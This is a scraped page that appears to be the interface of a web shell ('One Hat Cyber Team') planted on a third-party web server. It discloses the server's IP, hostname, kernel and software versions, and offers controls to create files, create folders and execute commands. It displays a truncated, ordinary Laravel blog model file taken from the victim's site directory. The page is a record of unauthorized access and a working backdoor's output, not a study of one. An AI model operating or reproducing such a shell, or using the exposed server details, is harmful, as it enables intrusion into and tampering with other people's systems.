⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.177
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ctaacademy
/
www
/
old
/
Modules
/
Blog
/
app
/
Models
/
View File Name :
Blog.php
translation->title; } public function getDescriptionAttribute(): ?string { return $this->translation->description; } public function getSeoTitleAttribute(): ?string { return $this->translation->seo_title; } public function getSeoDescriptionAttribute(): ?string { return $this->translation->seo_description; } public function category(): ?BelongsTo { return $this->belongsTo(BlogCategory::class, 'blog_category_id'); } public function translation(): ?HasOne { return $this->hasOne(BlogTranslation::class)->where('lang_code', getSessionLanguage()); } public function getTranslation($code): ?BlogTranslation { return $this->hasOne(BlogTranslation::class)->where('lang_code', $code)->first(); } public function translations(): ?HasMany { return $this->hasMany(BlogTranslation::class, 'blog_id'); } public function comments(): ?HasMany { return $this->hasMany(BlogComment::class, 'blog_id'); } public function author(): ?BelongsTo { return $this->belongsTo(Admin::class, 'admin_id'); } }